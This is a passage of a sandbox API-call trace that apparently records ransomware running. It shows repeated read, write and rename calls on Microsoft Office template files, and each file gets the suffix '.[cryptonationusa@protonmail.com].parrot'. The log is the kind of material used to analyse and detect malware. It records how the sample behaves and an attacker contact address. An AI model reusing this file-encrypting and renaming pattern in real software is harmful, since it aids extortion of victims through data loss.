out: lpNewFilePointer=0x0) returned 1 [0207.490] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd066, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd066, lpOverlapped=0x0) returned 1 [0207.492] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.494] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0207.500] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.500] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.501] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.501] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbc400, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbc400, lpOverlapped=0x0) returned 1 [0207.524] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.562] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL11.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email11.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0207.572] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.572] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.615] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.616] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a42, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a42, lpOverlapped=0x0) returned 1 [0207.617] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.618] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAILMOD.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\emailmod.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAILMOD.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\emailmod.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0207.625] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.625] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.626] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.626] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc5fa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc5fa, lpOverlapped=0x0) returned 1 [0207.628] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENV11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\env11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENV11.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\env11.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0207.635] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.635] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.637] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.637] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a052, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a052, lpOverlapped=0x0) returned 1 [0207.641] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENV98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\env98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENV98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\env98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x320e570 | out: hHeap=0x5b0000) returned 1 [0207.650] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.650] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.653] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.653] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4af4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4af4, lpOverlapped=0x0) returned 1 [0207.655] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENV98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\env98sp.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENV98SP.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\env98sp.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0207.660] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.660] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.661] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.661] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24efb, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x24efb, lpOverlapped=0x0) returned 1 [0207.667] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.672] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0207.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0207.681] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.681] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.682] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.682] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30de, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x30de, lpOverlapped=0x0) returned 1 [0207.683] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0207.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0207.690] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.690] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.691] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.691] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8a32, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8a32, lpOverlapped=0x0) returned 1 [0207.693] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.695] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVHM.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envhm.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0207.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0207.700] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.700] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.701] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.701] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1284, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1284, lpOverlapped=0x0) returned 1 [0207.702] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FEZIP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\fezip.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FEZIP.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\fezip.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.705] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.705] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0207.705] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0207.707] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.707] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.709] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.709] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfd00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfd00, lpOverlapped=0x0) returned 1 [0207.710] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.712] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLY98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\fly98sp.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLY98SP.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\fly98sp.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.715] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.715] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0207.715] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0207.717] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.717] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.720] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.720] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0207.748] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.748] WriteFile (in: hFile=0x27c, lpBuffer=0x22fa088*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22fa088*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0207.753] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.753] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0207.755] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1537b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0207.756] CloseHandle (hObject=0x27c) returned 1 [0207.756] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0207.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0207.765] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.765] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.769] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.769] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13d7c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13d7c, lpOverlapped=0x0) returned 1 [0207.776] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0207.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0207.784] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.784] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.834] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.834] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x369a8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x369a8, lpOverlapped=0x0) returned 1 [0207.846] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.856] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER11.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer11.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0207.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0207.863] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.863] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.865] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.865] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe498e, 